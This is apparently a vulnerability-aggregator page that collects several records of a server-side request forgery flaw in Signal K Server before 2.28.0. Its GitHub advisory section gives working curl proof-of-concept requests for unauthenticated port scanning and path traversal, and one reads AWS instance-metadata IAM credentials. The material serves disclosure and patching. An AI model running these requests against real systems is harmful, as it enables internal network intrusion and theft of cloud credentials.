Signal K Server: Server-Side Request Forgery via Remote Connection Endpoints

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Signal K Server is a server application that runs on a central hub in a boat. Prior to 2.28.0, makeRemoteRequest() in src/serverroutes.ts accepted attacker-controlled host, port, useTLS, and selfsignedcert parameters from the testSignalKConnection, requestAccess, and checkAccessRequest endpoints without validating the destination. When security was not configured, addAdminMiddleware() was a no-op in dummysecurity.ts, leaving all three endpoints accessible without authentication. The server could be forced to contact loopback, private, link-local, cloud metadata, or arbitrary external destinations, and selfsignedcert could disable certificate verification for outbound HTTPS requests. The checkAccessRequest endpoint also interpolated requestId into its destination path, allowing traversal to other paths on the selected host. Distinct success, connection-refused, and timeout responses enabled internal port scanning; returned response bodies enabled cloud metadata and internal-service data exfiltration; requestAccess enabled server-side POST requests with attacker-controlled JSON; and access to cluster-internal services could support lateral movement. This issue is fixed in version 2.28.0.

Source published

15 Sep 2026 15:37:55 UTC

Source modified

15 Sep 2026 17:23:51 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 5.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Signal K Server is a server application that runs on a central hub in a boat. Prior to 2.28.0, makeRemoteRequest() in src/serverroutes.ts accepted attacker-controlled host, port, useTLS, and selfsignedcert parameters from the testSignalKConnection, requestAccess, and checkAccessRequest endpoints without validating the destination. When security was not configured, addAdminMiddleware() was a no-op in dummysecurity.ts, leaving all three endpoints accessible without authentication. The server could be forced to contact loopback, private, link-local, cloud metadata, or arbitrary external destinations, and selfsignedcert could disable certificate verification for outbound HTTPS requests. The checkAccessRequest endpoint also interpolated requestId into its destination path, allowing traversal to other paths on the selected host. Distinct success, connection-refused, and timeout responses enabled internal port scanning; returned response bodies enabled cloud metadata and internal-service data exfiltration; requestAccess enabled server-side POST requests with attacker-controlled JSON; and access to cluster-internal services could support lateral movement. This issue is fixed in version 2.28.0.

Source published

Sep 15, 2026, 3:37:55 PM (timezone not stated)

Source modified

Sep 15, 2026, 5:23:51 PM (timezone not stated)

Observed here

11 Nov 2026 14:03:05 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 5.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Signal K Server is a server application that runs on a central hub in a boat. Prior to 2.28.0, makeRemoteRequest() in src/serverroutes.ts accepted attacker-controlled host, port, useTLS, and selfsignedcert parameters from the testSignalKConnection, requestAccess, and checkAccessRequest endpoints without validating the destination. When security was not configured, addAdminMiddleware() was a no-op in dummysecurity.ts, leaving all three endpoints accessible without authentication. The server could be forced to contact loopback, private, link-local, cloud metadata, or arbitrary external destinations, and selfsignedcert could disable certificate verification for outbound HTTPS requests. The checkAccessRequest endpoint also interpolated requestId into its destination path, allowing traversal to other paths on the selected host. Distinct success, connection-refused, and timeout responses enabled internal port scanning; returned response bodies enabled cloud metadata and internal-service data exfiltration; requestAccess enabled server-side POST requests with attacker-controlled JSON; and access to cluster-internal services could support lateral movement. This issue is fixed in version 2.28.0.

Source published

15 Sep 2026 16:17:14 UTC

Source modified

30 Sep 2026 17:51:56 UTC

Observed here

25 Oct 2026 14:19:05 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 5.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

### Summary signalk-server versions up to and including 2.27.0 contain a Server-Side Request Forgery (SSRF) vulnerability in three administrative endpoints used for remote Signal K server connection management. The `makeRemoteRequest()` function accepts attacker-controlled `host`, `port`, `useTLS`, and `selfsignedcert` parameters without any validation, allowing an attacker to force the server to make arbitrary HTTP/HTTPS requests to internal network resources, cloud metadata services, and other unintended destinations. When security is not configured (the default state), these endpoints require **no authentication**. ### Details #### Vulnerable Function The core vulnerability is in `makeRemoteRequest()` at `src/serverroutes.ts:2483-2524`: ```typescript function makeRemoteRequest( host: string, port: number, useTLS: boolean, selfsignedcert: boolean, path: string, method?: string, headers?: Record<string, string>, body?: unknown ): Promise<{ status: number | undefined; data: string }> { const protocol = useTLS ? https : http return new Promise((resolve, reject) => { const options = { hostname: host, // NO VALIDATION - attacker controlled port, // NO VALIDATION - attacker controlled path, method: method || 'GET', headers: { ...(headers || {}), ...(body ? { 'Content-Type': 'application/json' } : {}) }, rejectUnauthorized: !selfsignedcert // Attacker can disable TLS verification } const req = protocol.request(options, (response) => { let data = '' response.on('data', (chunk: string) => { data += chunk }) response.on('end', () => { resolve({ status: response.statusCode, data }) }) }) req.on('error', reject) req.setTimeout(10000, () => { req.destroy(new Error('Connection timed out')) }) if (body) { req.write(JSON.stringify(body)) } req.end() }) } ``` #### Missing Validation The function performs **zero validation** on the destination host. The following address ranges are all reachable: - **Loopback**: `127.0.0.1`, `::1`, `localhost` - **RFC 1918 private ranges**: `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` - **Link-local / Cloud metadata**: `169.254.169.254` (AWS EC2 instance metadata, GCP, Azure IMDS) - **IPv6 link-local**: `fe80::/10` - **Any arbitrary external host**: enabling the server as an open proxy #### Authentication Bypass via Default Configuration The endpoints are protected by `addAdminMiddleware()` (lines 2339-2345): ```typescript app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/testSignalKConnection`) app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/requestAccess`) app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/checkAccessRequest`) ``` However, when security is not configured, the server uses `dummysecurity.ts`, where `addAdminMiddleware` is a **no-op**: ```typescript addAdminMiddleware: () => {}, ``` This means on a default installation with no admin user created, **all three endpoints are accessible without any authentication**. #### Additional Attack Surface: TLS Verification Bypass The `selfsignedcert` parameter directly controls `rejectUnauthorized`: ```typescript rejectUnauthorized: !selfsignedcert ``` When an attacker sets `selfsignedcert: true`, the server will connect to any HTTPS endpoint without verifying the TLS certificate, enabling MITM attacks on the outbound connection. #### Additional Attack Surface: Path Traversal in checkAccessRequest The `checkAccessRequest` endpoint interpolates `requestId` directly into the URL path: ```typescript `/signalk/v1/requests/${requestId}` ``` An attacker can use path traversal (e.g., `requestId: "../../other/endpoint"`) to target arbitrary paths on the destination host. ### PoC #### Target Setup Set up a bare-metal signalk-server for testing (or use Docker to simulate): ```bash docker run -d --name signalk-ssrf-poc -p 3000:3000 node:22-bookworm \ bash -c 'npm install -g [email protected] && signalk-server' # Wait for startup until curl -s http://127.0.0.1:3000/skServer/loginStatus 2>/dev/null | grep -q "status"; do sleep 10; done ``` Set the target variable: ```bash TARGET=http://127.0.0.1:3000 ``` Confirm `"authenticationRequired":false` in the loginStatus response before proceeding. #### PoC 1: Loopback Connection (Self-Discovery) ```bash curl -s -X POST $TARGET/skServer/testSignalKConnection \ -H "Content-Type: application/json" \ -d '{"host":"127.0.0.1","port":3000,"useTLS":false,"selfsignedcert":false}' ``` **Response** (confirms SSRF, the server connected to itself): ```json { "success": true, "authenticated": false, "server": { "id": "signalk-server-node", "version": "2.27.0" } } ``` #### PoC 2: Port Scanning via Error Differentiation ```bash # Open port (3000) — returns server data curl -s -X POST $TARGET/skServer/testSignalKConnection \ -H "Content-Type: application/json" \ -d '{"host":"127.0.0.1","port":3000,"useTLS":false,"selfsignedcert":false}' # Response: {"success":true,"server":{"id":"signalk-server-node","version":"2.27.0"}} # Closed port (9999) — immediate ECONNREFUSED curl -s -X POST $TARGET/skServer/testSignalKConnection \ -H "Content-Type: application/json" \ -d '{"host":"127.0.0.1","port":9999,"useTLS":false,"selfsignedcert":false}' # Response: {"success":false,"error":"connect ECONNREFUSED 127.0.0.1:9999"} # Filtered port — 10-second timeout then error curl -s -X POST $TARGET/skServer/testSignalKConnection \ -H "Content-Type: application/json" \ -d '{"host":"10.0.0.1","port":22,"useTLS":false,"selfsignedcert":false}' # Response (after 10s): {"success":false,"error":"Connection timed out"} ``` The three distinct error responses allow an attacker to map internal network topology. #### PoC 3: AWS Instance Metadata Service (IMDSv1) On a cloud-hosted signalk-server (AWS EC2): ```bash curl -s -X POST $TARGET/skServer/testSignalKConnection \ -H "Content-Type: application/json" \ -d '{"host":"169.254.169.254","port":80,"useTLS":false,"selfsignedcert":false}' ``` The server connects to the EC2 metadata endpoint. The response will contain the discovery JSON parse result, leaking metadata. For deeper paths, use `checkAccessRequest` with path traversal in `requestId`: ```bash curl -s -X POST $TARGET/skServer/checkAccessRequest \ -H "Content-Type: application/json" \ -d '{"host":"169.254.169.254","port":80,"useTLS":false,"selfsignedcert":false,"requestId":"../../latest/meta-data/iam/security-credentials/ROLE_NAME"}' ``` ### Impact 1. **Internal Network Scanning**: An attacker can probe internal hosts and ports. The response distinguishes between open ports (HTTP response returned), closed ports (connection refused error), and filtered ports (timeout after 10 seconds). 2. **Cloud Metadata Exfiltration**: On cloud-hosted instances (AWS EC2, GCP, Azure), an attacker can reach the instance metadata service at `169.254.169.254` to steal IAM credentials, instance identity tokens, and other sensitive metadata. 3. **Internal Service Data Exfiltration**: The `testSignalKConnection` endpoint returns the full response body from the target, allowing reading of data from internal HTTP services not otherwise accessible from the internet. 4. **Server-Side POST Requests**: The `requestAccess` endpoint sends a POST request with attacker-controlled JSON body (`clientId`, `description`), enabling interaction with internal APIs that accept POST requests. 5. **Lateral Movement**: In containerized or Kubernetes environments, the server can be used to access cluster-internal services, the Kubernetes API, or other containers on the Docker network.

Source published

18 Jun 2026 21:13:36 UTC

Source modified

18 Jun 2026 21:41:26 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Publisher rating · MODERATE